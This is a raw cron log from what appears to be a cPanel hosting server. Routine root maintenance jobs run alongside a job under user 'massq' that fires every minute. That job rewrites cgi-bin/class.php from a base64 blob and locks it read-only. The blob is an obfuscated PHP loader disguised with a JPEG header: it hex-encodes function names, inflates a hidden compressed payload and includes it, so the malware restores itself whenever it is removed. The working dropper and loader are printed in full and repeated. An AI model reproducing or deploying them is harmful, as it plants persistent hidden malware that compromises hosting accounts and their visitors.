Sep  3 01:43:01 server CROND[5899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:43:01 server CROND[5900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:43:01 server CROND[5901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:44:01 server CROND[6274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:44:01 server CROND[6276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:44:01 server CROND[6275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:45:01 server CROND[6645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:45:01 server CROND[6648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:45:01 server CROND[6647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:45:01 server CROND[6650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:45:01 server CROND[6646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:45:01 server CROND[6649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:45:01 server CROND[6652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:46:01 server CROND[7463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:46:01 server CROND[7464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:46:01 server CROND[7465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:47:01 server CROND[7838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:47:01 server CROND[7839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:47:01 server CROND[7840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:48:01 server CROND[8304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:48:01 server CROND[8305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:48:01 server CROND[8306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:49:01 server CROND[8682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:49:01 server CROND[8683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:49:01 server CROND[8684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:50:01 server CROND[9069]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:50:01 server CROND[9074]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 01:50:01 server CROND[9071]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 01:50:01 server CROND[9073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:50:01 server CROND[9076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 01:50:01 server CROND[9077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:50:02 server CROND[9075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 01:50:02 server CROND[9078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:50:02 server CROND[9072]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 01:51:01 server CROND[9925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:51:01 server CROND[9924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:51:01 server CROND[9926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:52:01 server CROND[10305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:52:01 server CROND[10306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:52:01 server CROND[10307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:53:01 server CROND[10779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:53:01 server CROND[10780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:53:01 server CROND[10781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:54:01 server CROND[11193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 01:54:01 server CROND[11194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 01:54:01 server CROND[11192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:55:01 server CROND[11568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 01:55:01 server CROND[11570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 01:55:01 server CROND[11572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
